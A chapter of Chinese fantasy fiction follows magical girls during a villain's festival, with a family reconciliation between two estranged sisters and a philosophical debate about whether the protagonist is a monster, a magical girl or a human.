二楼是属于艾克里普个人的魔法工坊,充斥着不可思议的东西,但若是真的要让有乐羽生来回答,眼前如同从童话书里面复刻出来的房屋与现在的外界相比哪个更不可思议一些,她一时还真回答不上来。 角落处,一个不那么魔幻的物品拉低了这里的评分,那是一台黄色外皮的架子鼓,有乐羽生认得这个牌子,她甚至可以想象到艾克里普是从西部市区商业区那栋充斥着各种乐器的大楼中买来的,一想到艾克里普去店里和店员交谈的样子,她就笑了起来。 这台架子鼓的价格在同类中算是中等偏高的,艾克里普的经济来源是从哪里来的呢?有乐羽生虽然知道这家事务所属于艾克里普,但她怎样都想不出来,艾克里普与人商谈着定下价格,交出神奇魔法物品,然后收下报酬后说“欢迎下次光临”的样子。 想到这里,她又笑了起来。 事务所的二楼虽然充斥着不可思议的东西,但有乐羽生没有从里面找到什么她能带走的,无论是标记着坐标水晶的全球地图也好,加热着不明花卉的坩埚也好,还是那台架子鼓也好,那些都是艾克里普的东西,有乐羽生不准备拿。 她回到一楼,绕了几圈才找到通往地下的入口,它藏在货架和盆栽之间,隐秘度维持在一个外人来了看不到但又不至于影响到其主人平时通行的程度。 下行的楼梯是木质的,有些狭窄,有乐羽生扶着墙壁小心地往下走,拐角处传来了些许光亮,她从墙后面探头,一时愣在了原地。 眼前的地下室下楼拐角之后的空间肉眼可见的大小堪比日之森的室内体育场,到处都是植物,或者说,硬要分类的话只能分进植物类里的存在。从拐角处往里看,有乐羽生觉得自己看到了一片微缩的植物园,高大的树干与天花板同高,与它拥有差不多视角的还有些颜色过于艳丽的花和没能被限制在可爱体魄的蕨类植物。 余光处有什么动了动,有乐羽生警觉地看过去,却发现是内部的大型人工水池传来的声音,那与其说是水池不如说是室内的一片湿地,那沉绿的液体边缘甚至存在着些许芦苇,有乐羽生认得这个在芦苇岸边茂盛生长的植物,它随处可见,但在这里它又平庸得有些显眼了。 这芦苇丛高度至少比有乐羽生高三倍,她站在下方抬头都不太能看清芦苇的顶端,于是她干脆低头去寻找这些植物生长在这里的理由。芦苇的作用是什么呢?有乐羽生想了想,这种生命力顽强的植物最大的用处就是被路过的人拔掉编成一些有趣的东西,然后再被扔掉吧。 芦苇哪里都是,有乐羽生想到这一点,才意识到它出现在这里的最大原因其实是其主人没有定期回来除草,或者说,没有被除掉。有乐羽生蹲了下来,注意到了地上,那草根之中些许闪闪发光的零碎物品,那半没入泥土中的琐碎并非是什么宝物,而是垃圾。 被咬下来半截的叉子,不小心连着巧克力一起吞进胃里的金色包装纸,棒棒糖被咬断一半的木棍,穿起团子又被连着一起吞进胃中的竹签。有乐羽生意识到艾克里普从来不消化那些食物,她也不需要这些食物提供养分和魔力,她只是吞下,然后回到这里时,将它们回馈给这里的泥土中,随后芦苇趁机发展了根系,长高。 于是,有乐羽生意识到,艾克里普其实是有在默默做着一些她们“默认”她应该做的事情的,比如像人类一样喜欢吃东西,比如,像人类一样讨厌杂草。她发现自己从来不了解艾克里普,她们相处的时间与她的漫长人生相比太短了,艾克里普曾经一定是想在更漫长的,漫长到近乎不需要担心时间流逝的时间里一点点告诉她们真实的自己的。 有乐羽生举起了相机,对准了那些琐碎的被遗留物。 “艾克里普,抱歉,我第一次意识到你原来一直在害怕我们没办法理解你。很久,不对,对你来说或许没过多久的时间之前,我说了‘我们死了之后你一定会遇到更多其它魔法少女朋友’这种话,非常抱歉,我现在才理解这句话对你而言不仅仅是废话,还是会揭开你的伤疤的一句话。”有乐羽生的声音很轻,她没有把摄像头对准自己,“我现在就告诉你,我非常重视你,我不会把‘理解你’这个任务那样不负责任地交给下一位你的朋友了,哪怕现在只剩下不到一天的时间,我也会这样做的。” 有乐羽生转身回到了一楼,它看到了大桌上放着些许还未拆开的信,于是她带上了那些信,准备转交给艾克里普。随后,她走向了事务所的大门,离开,并转身好好地把事务所的门关上了。 “你怎么把它给关上了?我还想进去看看呢!”一个青年的声音从有乐羽生的身后传来,那语气带着盎然的兴致,她还以为是利奥拉来了,一瞬间差点准备逃开这里。 但她转身后看到,那事务所边缘处,站着一位她没见过的灰紫色短发青年,穿着黑色马甲的罩裙,脚脖子没入了血湖之中,看打扮那应该是一位天使,但有乐羽生从来没见过她,这里也不应该有天使在。 “您,也是天使的一员吗?没有去享受庆典吗?”有乐羽生警惕地问道。 “上面在举行庆典?这么热闹?”青年双手叉腰失望地说,“我不会被邀请的吧,利奥拉可讨厌我了,我也是有这方面自觉的。” “她会讨厌自己的同事?”有乐羽生不可置信地问。 “毕竟是因为不听话而被打死的同事,看见我就又烦又恶心也很正常啦哈哈!”青年非常得意地笑了,“我是居里,不过现在应该有新的员工用这个名字了吧,那你叫我居里一号好了。利奥拉的庆典是什么样的?肯定是其乐融融的吧,就她那样谁敢说反话?怕是连想都不敢在心里这么想吧。” 居里一号的语气太过于理所当然且直白了,有乐羽生察觉到这一点,不免感到惊讶。 “您不需要考虑那些吗?”有乐羽生急迫地问,“这是怎么做到的呢?” “…看来这么多年了员工守则并没有好多少啊。”青年喃喃自语,又笑着说,“核心在于实验使用的素材,我的同事多是由新区rp-c为素材进行更新手术的,但我用的是旧区的混合rp-l,目的是仿照格雷伊以获得可控的相似魔法,结果魔法没有出现,项圈也忘了给我带上了。” “所以,您背叛了她们。您没有被那些限制是因为手术的原因。”有乐羽生失望了,她没法从居里一号这里得到有用的新线索。 但听了这句话,居里一号却不满地怀抱住了手臂,这个动作露出了她胳膊上缠着的绷带,配合血湖晕染的红,整个人显得病怏怏的。 “我可没有背叛。”居里一号纠正到,“我说了吧,是因为‘不听话’,CEO她是个烂好人诶,按照她之前的那种做法利奥拉的素材积累时间得延长到下个世纪去。” “那就是说,您是因为没有服从湛的命令才被她杀死的吗?”有乐羽生意外地说。 “你没见过烂好人吗?CEO在表面话上确实有一套的,这种对组织氛围有害的事可轮不到她来做。”居里一号满怀恶意地笑了,仿佛等待这个机会很久了一般迫不及待地说,“她知道命令我没有用,还想和我交朋友什么的来着,真是笑死人了。” “所以,是利奥拉杀死你的,还是说是有乐千实?”有乐羽生问道,又说,“算了,这对我来说也不重要了,我还有事得先走了。” “啊这样一看你和教练她长得确实挺像的诶!”居里一号恍然大悟地说,“姐妹吗?气质上差距太大了吧?” “很明显不是吧!千实阿姨比我大15岁诶!”有乐羽生反驳。 “哦。”居里一号愣了愣,“奇怪,时间已经过去这么久了吗?庆典什么时候结束?她们什么时候回来?” “利奥拉说庆典只有一天。”有乐羽生说着,看向居里一号抓着罩裙两侧的紧握的手,又说,“但是如果您说的‘她们’里面包含那个CEO的话,那就不知道了,她死了。” 居里一号歪了歪头,似乎是不理解那是什么意思,有乐羽生也不准备解释更多了,这里的一切都是沉重的,就连她也变得有些昏昏欲睡了起来。 “…我也要走了。”居里一号沉默了许久之后说,“我不等了。” “您还能离开这里?”有乐羽生颇为意外,“您要去哪里?” “我要回去了。”居里一号说着,忽然流泪了,“夏娃说我本来就不是新区的孩子,我早就该回去了,我要回去了。” 说完,她的身影就消失了,如融化在浓稠血腥气空间里了一般。 91.Day0 艾克里普站在瞭望塔的顶端,俯瞰城市下方的风景,或者说利奥拉的盛大庆典。她没有去看那些人,原因和她此时所站在这里的原因同理。 “因为人类很讨厌,对吧?”利奥拉在她的一旁抱怨着说,“明明都这样了却还是有人不满意,真是贪心又烦人,不过很快就会结束了!” 天色微暗,象征着这一天的结束,也暗示明天近了,但相反,这对于她们来说有着不同的意义。 “为什么不说话?”利奥拉靠近了艾克里普,打量她面纱与头发之下的脸,“好难看的一副表情啊,因为羽生那孩子和你吵架了?那可不得了,她生气起来可是很可怕的,不过很快她就不会再与你置气啦,到时候你只要拥抱她,她就能理解你了。” 艾克里普什么也没说,什么也没做,她只是在等待那一刻的到来,她什么都做不了,也什么都不应该去做了。 “啊,你看,那是晓!”利奥拉扶着金属杖指向地面上一个渺小的黑点,“在和那个伊芙的学生逛街呢,希望她能意识到有些东西现在不说就没机会了,一百年后她还会想和那个人一起逛街吗?到时候问问她好了!” 艾克里普没有去看,那没有意义。 “哦哦,那是未央和未雅,她们也过来玩了吗?好像很开心的样子呢。”利奥拉又指向另一边的两个小点,“以后她们就会一直这样开心下去,不必担心会和彼此分开了吧,这也是我的愿望呢,她们两个分开后都会缺少某些生存的必要条件,虽然在一起的时候也没多好就是了!” 艾克里普没有去看,那毫无价值。 “她们也在呢!不枉我让西弗尔特一大早开车去把她叫过来,这个时候这些老面孔怎么能缺席呢?”利奥拉指向不同的几个点,那些是白夜社内的知情人士们,“上午的时候好像还在想办法的样子,现在也差不多都冷静下来了吧。那可是些挺有意思的人呢,你是怎么想的呢,艾克里普?来畅所欲言吧,反正后面她们大概也不会再出场了。” 艾克里普没有说话。 “我说你也太沉默了吧!”利奥拉不满地用金属棍敲塔顶,“至少应我一声‘嗯嗯收到’如何?冷处理在人际关系中可是大忌哦?不过不管怎样我都是会一直说下去的就是啦。” 塔顶下方一扇从外面无法被察觉到是窗户的玻璃被从内部打碎了。 “利奥拉,贝克勒尔回归了。”有乐千实的声音从里面传出。 “是吗?也有不喜欢热闹的人呢,我能理解啦。”利奥拉趴在塔顶边缘把头倒着伸向下方,“你呢?感觉如何?有和谁握手言和或者说一些生离死别之前才能表达出口的肉麻话吗?” “那很无聊,庆典也是。”有乐千实面无表情地看着倒吊下来的利奥拉。 “诶?为什么不嘛,至少去和你姐姐说一句‘拜拜’什么的嘛。”利奥拉把头部靠近了有乐千实,“庆典很无聊吗?抱歉,很快就结束了哦,不如我开放权限你去和晓打架玩好了。” “我该说的话已经说完了。”有乐千实说完这句话就转身离开了。 “也是,也不是每个人都喜欢游乐园的。”利奥拉叹了口气站了起来,“千实在这方面可是很挑剔的,也很严格。你呢?要透露一下你的爱好吗?” 利奥拉转过头去看,艾克里普已经不在原地站着了。 “你在这方面倒是很好懂啦。”利奥拉笑了笑,“你说是吧,阿尔卡纳?” “是的,需要对信息库进行更新吗?”电子音回应道。 “不,之后再说吧。”利奥拉说着,重新坐了下来望向天空,“无论如何,这可是我期待已久的一天,至少让我自己享受一下吧。” 城市热闹非凡,艾克里普不喜欢热闹的地方,也没有去找自己的朋友们,只是漫无目的地在城市里游荡,没过多久她停了下来,前方是夜藤事务所本该存在的位置,现在那只有一层表象,她抬头,那表象也消失了,坑洞无声地存在于那里,诉说着内部的缺乏。 艾克里普站定,她并没有像上次那样绞尽脑汁地为合理性寻求一个答案,因为答案已经不重要了,若是她想要的话,那她随时可以开口向利奥拉讨要她的事务所。 但那似乎也变得没有意义了起来,为什么呢?艾克里普不理解。 “艾克里普!”有乐羽生从空中落下,站在了艾克里普的身前。 那是她的朋友,艾克里普一愣,不禁感到了欣喜与安慰,但很快她的内心又被另一些感情充斥了,比如焦躁不安,心虚,悲伤,以及,委屈和生气。 为什么呢?艾克里普没有再去想原因,只是看向有乐羽生,露出了笑容。 “羽生。”艾克里普微笑着呼唤道,“今天过得怎么样?” 有乐羽生看着艾克里普,她们分开之前,她自己还说了不要去找她,结果艾克里普就真的没有来找过她。想到这一点,有乐羽生忍不住笑了。 “目前为止,非常坏!”有乐羽生笑着说,“但是今天还没结束,所以,还不能进行总结对吧?” 说完,她将手里的信件和照相机交给了艾克里普。 “艾克里普,这是你事务所里面的信以及我从她们那里收集到的一些她们想对你说的话,无论是哪个,你都必须要看完,知道吗?”有乐羽生郑重地看着艾克里普说。 “…那不会有意义的,羽生。”艾克里普了然了一切,她看着手里的摄像机和信件,只感受到了悲伤,没有感受到期待和欣喜,“这些东西只是短暂的,我们会有漫长的时间去说我们想说的话,去互相理解,不需要使用人类制造的记录器械和语言去解释。” “我就知道你会这样说。”有乐羽生笑了,随后说道,“那就以这个为前提吧,艾克里普,反正你现在也没事干,就当作这是你唯一的消遣,把它看完吧。这是大家最后留给你的话,哪怕是最普通的,最无聊的语句你都会记住的对吧?” 这句话让艾克里普愣了愣,她看向手里的相机,不禁产生了一种“缺的东西总算有机会补上”的微小满足感,她沉默片刻,还是点了点头。 “我会看完,然后记住的,我答应你。”艾克里普笑着说。 “利奥拉在哪里?我要去找她了。”有乐羽生问道,她知道艾克里普肯定知道。 “她在。”艾克里普刚想毫不犹豫地回答,就突然感受到了有感情扼住了她的声带,她皱眉,【她在瞭望塔顶端上站着发呆。】 “…她自己都不参与庆典啊。”有乐羽生说完,笑了笑说,“我出发了!” 艾克里普点了点头。 微暗的天空下,城市被来自不同国家的灯具照亮的犹如白昼一般,身处其中的人们根本无法意识到黑夜的降临。装饰华丽的花车和小列车代替地面交通承载需要前往其它地区的客人,速度当然也是电油发动者无法比拟的。所有人都发自内心地承认了魔法的存在,那么,她们当然也就没有了拒绝的理由了。 电梯换成了反重力滑梯,在底部坐好就能被提到楼上。公园旁的饮水喷泉里流出了鲜榨橙汁,如果要问为什么是鲜榨的话,那只要看向一旁结满果子的果树上链接的管道就能理解。高速公路的车道变成了过山车的轨道,谁都不用再担心车祸的发生。运河上此起彼伏轮转的并非是风车,而是摩天轮,每个人都有机会去水下观看鲑鱼的游行。 中心绿地公园的体育馆本被用于避灾,但在设计几经修改之后变成了一个大型舞台,舞台中正在进行演出的是没来得及离开这座城市的偶像组合破冰者【星星符号】,但并非她们本人,而是她们控制的自身live2d形象的超大型3D建模的实体,一抬手运河对岸的商业街上的每个人都可以看到她们的笑容。 市政府区域那死板的建筑被更没风格的几何图形积木替代了,颜色倒是鲜艳了不少。 原本Evo园区所在的位置被清空了,一个占领了整个园区地址的圆球漂浮在地面上空1米左右的位置,圆球表面是显示屏,实时转播各个地区的庆典盛况。 “真是热闹啊。”有乐羽生站在瞭望塔下方感叹道,她转过身抬头,利奥拉就在顶端,那赤红的一点她不会漏看。此时瞭望塔倒是保持了一如既往的朴实模样,禁止入内的警戒线都没有取下,就好像庆典独独漏下了这里一样。 一切喧嚣在她的耳边失去了存在感,有乐羽生抬起银色长剑,闭上了眼睛。 “我来迟了,不过我带了礼物来!”有乐羽生这样说着,再次睁开了眼。 魔力云绕,没有风被吹起,但巨大的蓝鲸从瞭望塔下方的凭空涌出,没有水花四溅,这里没有大海。那张开的巨口将瞭望塔从下往上整根吞下,整个城市中只要能看见的都朝这里投来了视线,但这已经不再是不合理的了,所以,她们只是惊叹。 惊叹庆典的新成员的姗姗来迟,但足够亮眼。 蓝鲸将瞭望塔吞没后飞向天空,以那庞大身体不相符的轻盈感悠然转身,身躯被分为好几段,每一段都以自己的方向旋转,最后蓝鲸消失,碎屑都没有留下。 高空之上,利奥拉悬于空中,她毫发无伤。 “花里胡哨。”有乐千实的身影从瞭望塔本来所在的位置不远处站起,她拍了拍身上的尘土,看向有乐羽生,“你该控制输出效率了。” “千实阿姨!”有乐羽生现在看到有乐千实都不会感到生气了,她想起有乐千奈说的那些话,再看到有乐千实,甚至感觉挺亲切的。 有乐羽生跑到有乐千实身前站定,开始掏自己的口袋,有乐千实皱了皱眉头,上下扫视了有乐羽生一圈,不明白对方跑过来是想做什么。 “你想挣扎?那会很难看。”有乐千实冷漠地说。 “正好遇到了那我就问问,千实阿姨,你在周六的时候对我使用了魔法,但那魔法后来失效了,原因应该是你的死亡,为什么?你是怎么死的?”有乐羽生看着有乐千实问道。 “…你为什么觉得我会回答你?”有乐千实皱眉问道。 “你现在不说之后可就没机会组织语言了!你为什么会死?15年前离家的原因到底是什么?母亲她一直很在意的,她说了是因为你所在的位置会带来风险才拒绝你接近的,你也知道她就是这样的吧?所以你才会说‘我这些年过得不错’这种撑面子的话来。”有乐羽生举起手机展示屏幕,“看到这个号码了吗?我要拨出去了哦!” 那是有乐千奈的号码,有乐千奈从来不拨打有乐羽生的号码,但她也从来不拒接。 有乐千实伸手去抢手机,但有乐羽生早有预料,使用空间魔法直接退后了5米远。 “该说的话我已经说完了。”有乐千实厌烦地说,“理由也好,遗言也好,我没有还需要补充的东西。” “那你为什么不想让我打电话?”有乐羽生问。 “…你拨打了电话后她就会过来,然后,她会死。”有乐千实说着,嗤笑了一声,“不过那也是无所谓的事情了。” 有乐羽生知道,她真的是发自真心地这样认为的,这令她感到悲伤。但若是有乐千实在很早以前就准备好了答案,只是当时没能完全说出口的话,那便还有机会,还有机会让她们这对分离15年的姐妹理解彼此,有乐羽生真心地希望这件事发生。 “母亲她是这样评价的,她说还以为你能带给她什么惊喜,没想到不过如此而已。”有乐羽生说着,拨通了电话,“您让她失望了呢。” “…那不重要了。”有乐千实沉默片刻后说道,“她是个再普通不过的弱者,我没有必要去博得她的认可,你之后也会理解这一点的。” “喂?母亲?”有乐羽生接起电话,“嗯,我还好,不用担心的。啊,抱歉。” 有乐千实就这样看着有乐羽生对着电话点头,这只是语音通话而已,她因为觉得这个行为很蠢而笑出了声。听到这个笑声,有乐羽生抬头看向有乐千实,并缓缓放下手机捂住了听筒。 “为什么要理解。”有乐羽生问,“你无法想象到自己获得她的认可的未来吗?” “你说什——”有乐千实刚想斥责就看见有乐羽生放开了捂住听筒的手。 “我现在?我和千实阿姨待在一起,对,抱歉,我可能今晚不能回去了。”有乐羽生点着头说,“…是的,哦哦好!” 随后,她把手机往有乐千实的怀里一塞,对她笑了笑,转身,飞向了天空。 有乐千实看着手里的手机,那上面的改装她一眼就能认出功能,拨号界面还亮着,扬声器是打开的模式。她皱了皱眉,准备挂断电话。 “回头。”严肃的声音从电话那头和她的身后传来。 有乐千实回头,看到有乐千奈提着电话下车,在那笑话一般的街道中站定,看向她,面色不愉,但姿态优雅地朝她走来。她皱眉,捏碎了手里的手机。 “那可不是你的手机。”有乐千奈用斥责的语气说道。 “…那又如何?”有乐千实移开了视线。 “你也不该活着。”有乐千奈冷声说道。 “哼。”有乐千实嗤笑了一声。 “你这么多年真是一点长进都没有。”有乐千奈也冷笑着说,“我很久以前就教过你,沉默在了解你的人面前是最无用的自我防护手段。” 确实是很久以前了,至少是15年前。 “那你也应该意识到,你早就不了解我了。”有乐千实说,“还是说你的观察力终于退化到了只能注意到眼前发生之事?那也足够你意识到我的改变了。” “你确实和变了个人没什么区别,但我不会认错人,你本质上不曾改变过。”有乐千奈说。 “本质?你要怎样才能看穿一个人的本质?”有乐千实不屑地说,“你就是最看重表象的那个人,因为只有那对你而言是有意义的。” “要是只看重表象我就不会认出你了,你自己照照镜子看看你现在是个什么样子吧,从表象来看的话说是我教过的我都嫌丢人。”有乐千奈皱眉说,“我是不是和你说过着装彰显态度?你的头发又是怎么回事?还有你身上的那些疤痕,难道你以为这样做就能让你自己看上去足够强大了吗?” “够了!”有乐千实忍无可忍地打断道,“那些对我而言毫无意义,你无法察觉到我的强大吗?那毫无疑问是事实!”‘ “那关我什么事?你也要说你是魔法少女吗?”有乐千奈皱眉,“你不是我的部下,你的能力强大与否对我而言没有任何的意义。” “当然,当然没有意义。”有乐千实怒极反笑,“你的评价对我而言也毫无意义,你对我而言也毫无意义!” “你是这样想的吗?”有乐千奈顿了顿,“那你确实没什么长进啊。” 有乐千实一顿,她改变就不理解对方为何能说出这句话来。 “你从很久以前就是这个样子了,千实。”有乐千奈说,“你遇到问题只会一个劲地往前走,而且走的非常快。” “那也比你这样停滞不前的好!”有乐千实愤怒地说,“往前走又如何?我无论在哪里都可以生存下去,而且站在最顶层,继续走向下一个阶段,你呢?你被利益绊住了脚步,你就这样一直在自己制造的安全区原地踏步吧!” 说完,她就看见有乐千奈的眼角开始抽搐,那是她生气的象征。有乐千实感到满意,她认为对方感到愤怒是因为被自己的言论击败了。 “你又好到哪里去?”有乐千奈怒声斥责,“你一个劲地往前走到底是为了追逐新的东西,还是为了逃离旧的东西?我还能不知道你?” 有乐千实呼吸一滞,她张嘴,想反驳什么,她当然是为了追逐更强大的存在,更不可思议的世界,更完美的自己。但是,她也确实没有和旧的东西好好告别过。她意识到这一点,也意识到,有乐千奈确实理解自己。 但是,有乐千实发自真心地认为,事到如今这些全都没有意义了。 “你想说什么?”有乐千实冷漠地问,“你确实知道,那又如何?” “…真搞不懂你们这些东西。”有乐千奈眼角又抽了抽,“不过事到如今一切都无所谓了,庆幸吧,你本绝无可能听到我说这句话的。” “说什么?”有乐千实皱眉问。 “说,事到如今一切都无所谓了,这句话。”有乐千奈嗤笑一声重复道,“怎么,不敢相信我居然能对你如此仁慈吗?” “你在说什么啊?”有乐千实不理解对方在说什么,“一切确实都无所谓了,这还要你来重复?” 有乐千奈深呼吸,再次深呼吸,但是没用,她的眼角抽动得厉害,带着头也一起疼了起来。她扶着额头看向眼前确实大变样的妹妹,许久之后,叹了口气。 “我是在说,现在,你可以回来了。”有乐千奈说道,她的语气很平静,没有冷笑,没有愤怒,也没有欣喜,只是平静地说出了这句话,“风险和威胁已经无所谓了,所以现在你可以回来了。” 就这个吗?有乐千实有些失望。 “我不在乎。”有乐千实说,“我为什么要回去?那栋房子从很久以前对我而言就不是家的代表了,我没必要去那里。” “你又在逃避过去的事情了。”有乐千奈冷笑一声,“你以为这种情况下回家还有什么意义吗?下一秒陨石毁灭世界对我来说都不是小概率事件。我让你回来,是因为只有在那里,我们可以像十五年前那样继续讨论那个问题。” “…什么问题?”有乐千实问。 “关于,我的家族中的成员,包括你在内,对我而言算什么,这个问题。”有乐千奈说。 “这算什么。”有乐千实想冷笑一声,但不够冷,她只是笑了。 “算我在道歉吧。”有乐千奈平静地说,“你的房间还锁着,去那个会客间谈。” 有乐千实哑然。有乐千奈没说什么,她转过身,走向开着的车门。 “…有更快的交通工具。”有乐千实沉默了许久之后说道。 “闭嘴,上车。”有乐千奈头也不回地说。 有乐千实什么都没说,跟了上去。 “为什么?”利奥拉看着那辆车驶离街道,“为什么明明没有意义还要去做,为什么她真的只是站在那里说了几句话,千实就真的和她离开了?为什么?明明她更信任我,明明她更喜欢我这边的东西,明明她认可我带给她的未来,为什么她还是回去了?” 有乐羽生看着那两个人离开,笑了笑。 “为什么?”利奥拉看向有乐羽生,“你做的那些事也是没有意义的,你自己其实也逐渐意识到了吧?为什么不享受庆典呢?我知道你最喜欢游乐园了,你的朋友也都在这里不是吗?” “你又为什么想要否定那些过去呢?利奥拉?”有乐羽生看着对方问道,“你都看着的吧,你看着千实阿姨离家,看着我们去游乐园,又看着今天的你自己举行的庆典,你为什么还是站在这么高的地方呢?” “…我不知道,羽生。”利奥拉说,她没有在笑,“你为什么总是在用这幅表情看着我呢?无论是我衰老到有些恶心到时候,还是我强大的时候,为什么你都只是这样看着我呢?” “我听不懂你在说什么。”有乐羽生说,“你说的那些我全都不知道,如果你要说你强大的时候是指现在这样的话,那我确实是看到了。” 利奥拉张开双手,布条没有被半空中的风吹起,她漆黑的眼眸注视着有乐羽生,问道,“如何?” “陌生而且奇怪。”有乐羽生如实评价道,“或许是因为我不了解你吧,我不喜欢你身上那些无缘由的奇怪点,你的所作所为我也不理解,也不打算接受。” “果然是因为不理解!”利奥拉意识到了问题所在而欣喜地笑了,“那只要你理解我了,你也会喜欢上我的吧!没错,千实离开又如何呢?她总归是会回来的,会发自真心地想要回到我的身边的,我们是朋友,是同行者。她是在和过去告别而已!” “…真的吗?”有乐羽生再次产生了质疑,“说真的,朋友和同事差距可是天差地别,千实阿姨她真的有亲口说过,你们是朋友关系吗?” 利奥拉陷入了沉思,她凝神,空气都仿佛陷入了停顿。 “没有检测到可匹配的录音文件。”电子音从利奥拉提着的那根金属棍上传出。 “…那个时候你还小,不记得是正常的。”利奥拉说着,笑了起来,“没关系!过去是过去,未来我会让她发自真心地承认这一点的!你也是一样的哦,羽生,我们都会这样!” “不要,那很恶心。”有乐羽生提起了剑。 “哦哦,气势不错呢!很有魔法少女的感觉!”利奥拉赞叹道,“那就想尽办法来杀死我吧,就像是消灭魔物那样,就像是一个伟大的牺牲者那样!这次你一定是冷静地思考过之后再做出决定的吧,因为这次就是最后一次机会了,你不会再有机会去别的地方了,哪怕你杀死自己。” 有乐羽生没有说话,巨大的蓝鲸再次在她的羽翼身后显现,吞向利奥拉。 利奥拉没有动,白色布条从她的身上延伸,如灵巧的蛇,转瞬间缠上了本不可能被捉住的结界造物,并越来越密集,越来越紧,随后,蓝鲸消失了。 但那崩散于半空中的布条没有失去作用,而是继续冲向了有乐羽生,她刚想使用空间魔法移动离开,但很快,布条将她所在的空间锁定住了。 “空间魔法,也没那么难理解啦,你是该多学点物理学的。”利奥拉说着,笑了笑。 布条转瞬间再次收紧,有乐羽生在白色缠绕上自身时看到了灿烂的白光,听见了如交响乐般的此起彼伏的赞颂,感受到了温柔的托举,以及缓缓消失的重量。 “那么,这样就结束啦!”利奥拉满意地说着,抬头看向了天空,“感觉没什么意义啊,虽然时间还早,但是主办方不乐意的话提前结束也没有办法的吧。” 随即,她转过头,看向出现在那里的存在,“对吧,艾克里普-阿尔卡纳?你是来排队的吗?真是迫不及待啊。” “我是来和你辩论的,利奥拉。”艾克里普说。 “…为什么?那已经没有意义了吧。”利奥拉不满地说,“事到如今还要证明些什么吗?不需要了吧,无论你想说什么,之后我都能够理解的。” “有意义的。”艾克里普看着利奥拉说,“对我来说有意义,对你来说也有。” “什么?”利奥拉问。 “对我来说的意义暂且不提。”艾克里普说,“对你来说,如果你没能在这场辩论中赢得胜利,那么你所做的一切都会失败,因为,我会阻止你,而你不可能战胜我。” 利奥拉顿了顿,看了一眼下方的庆典,叹了口气。 “那就让她们再开心一段时间吧。”利奥拉说,“说到底一直以来我都一个人自说自话也挺无聊的,你大概是唯一那个能和我辩论些什么的人了吧。” 随后,她抬手,半空中出现了两把简单的白色单人椅,以及一张茶桌,利奥拉率先坐了下来,自得地支着脑袋看向艾克里普。 “那么,这边准备完毕了!”利奥拉笑着说,“辩手利奥拉和助手阿尔卡纳。” 艾克里普也坐下了。 “辩手艾克里普和助手阿尔卡纳,准备完毕。”艾克里普说。 “…你是不是刚才抄袭了什么东西?”利奥拉质疑道。 “第一个问题,魔法少女的职责是什么。”艾克里普没有回应利奥拉的质疑,抛出了第一个问题。 “是以人类的语言为前提在人类社会中通过与人类沟通扩大魔法影响力。”利奥拉回答的非常迅速,声音平静而冷漠。 “我曾经也是这样认为的,还是说你只是重复了我的语句?”艾克里普说,“魔法少女在视线限制之下无法直接使用魔法,而且出于现代人类社会道德栽培,魔法少女早在两个世纪前就逐渐失去了这一行为能力。没有执行能力的责任不叫职责,所以,我否认你的观点,或者说我过去的观点。” “这场辩论的裁判到底是谁啦,难道说有我看不见的观众在投票吗?”利奥拉不满地说,“而且根据你的论点,执行能力根据个体的能力而定,我认为我本身就是最好的例子,而你就是认可我作为魔法少女的人吧。” “你的行为并非以沟通为方式,而是暴力。”艾克里普说,“不需要裁判。” “…那你的论点是什么?”利奥拉问。 “魔法少女的职责,是带来奇迹。”艾克里普笑着说。 “这真的是很意义不明的语句,这算什么?”利奥拉冷笑一声,用大拇指指了指下方的庆典,“这不就是吗?” “你我都清楚,这并非奇迹,而是魔法,奇迹是指无限接近于0的可能性的实现,你自己知道这场庆典实现的可能性绝对没有那么低吧。”艾克里普说。 “裁判在哪里?”利奥拉左顾右盼,“两边的论点都已经陈述完毕了哦,裁判在哪里?” “我说了,不需要裁判。”艾克里普说,“第二个问题,魔法少女的定义是什么?” “基于人类诞生的,能自主觉醒魔力资质,并且能以常规生物形式参与魔力体系,并参与魔物的传承行为的存在。”利奥拉回答说,“等等啊,你不会是想说我不是魔法少女吧?不过这个称呼还挺难为情的啦不用这个也可以就是。” “这是你观察到的事实,你确实是不错的科研人员,利奥拉。我并非裁判,我承认你是魔法少女,但我的承认仅是对你而言的。”艾克里普说,“基础没有错误,但是还差关键节点,也就是对自我的抛弃和再定。” “…我多少有点理解伊芙的学生平时的感受了,你尽谈些只有自己才理解的东西谁能和你聊起来?”利奥拉说着,撇了撇嘴,“你确实是能直接观察到的吧,用你那双眼睛。” “那下一个问题你应该会熟悉一些。”艾克里普说,“最后一个问题是,人类的定义是什么?” 利奥拉顿了顿,坐了起来。 “你,在反驳我之前对你的否认,你还挺记仇的嘛。”利奥拉笑着说,“对自己之前什么都做不到的样子感到羞愧了吗?” “…是的。”艾克里普没有遮住自己的脸,她摘下了面纱,正视利奥拉回答道,“我感到羞愧,后悔,以及悲伤。” “所以你才这样啊。”利奥拉一副失去了兴趣的样子重新半躺回了椅子上,“但没关系的吧?她们都会理解你的啦,这早就不需要我重复了吧?” “有关系,有意义,有价值。”艾克里普坚定地说,“利奥拉,回答问题。” “那我就坚持一下我最初的论点吧。”利奥拉无所谓地说,“人类拥有灵魂,非人类的个体只有演化出来的习惯,也就是本能。而人类拥有超越这种基础行为追逐其它更遥远目标的能力,这种能力是灵魂驱使人类去做的。” “你是对的。”艾克里普点头,“我也认可这一点。” 利奥拉等着她抛出下一个问题,天色暗了下来,二人所在的半空中也是。 “那么,最后一个问题了。”艾克里普看向利奥拉,问道,“我是谁?我是魔物,魔法少女,还是人类?” 利奥拉一时没有说话,她不可置信地打量着艾克里普,最后,嗤笑出声。 “搞半天你是想来这一套啊,你早说不就好了?”利奥拉笑着说,“你是谁重要吗?你想做什么都可以不是吗?你想做魔物,魔法少女,还是人类?最大的选择权在你手里啊艾克里普,你是最强大的那个,你想怎样自我弱化向下兼容都可以。你没有问的必要啊,这个事实难道还得我一个艰苦奋斗至今的人去主动告诉你吗?” “需要,因为你曾经说了,我是魔物。”艾克里普说。 “那么我现在保持相同的观点,艾克里普,你是魔物。”利奥拉说,“你不是人类,不是人类延伸出的魔法少女,不拥有灵魂,你能使用魔法,天生的魔法大概是吸收之类的,你吸收了大量人类之后获得了人类的感情和记忆思考模式,这些轮不到我来提醒你。” 利奥拉歪了歪头,看向艾克里普。 “我要提醒你的是,无论如何,你的本质都是魔物。就像犬山晓因实验死亡从血湖中复活,森山寺未央吞吃魔物,有乐羽生自我放弃一样,她们无论如何都是人类,都是魔法少女。”利奥拉微笑着说,“有感到悲伤吗?抱歉,我说的都是事实哦。” “你曾经说,我是魔物,那么,我曾经是。”艾克里普说,“或者说,阿尔卡纳是。” 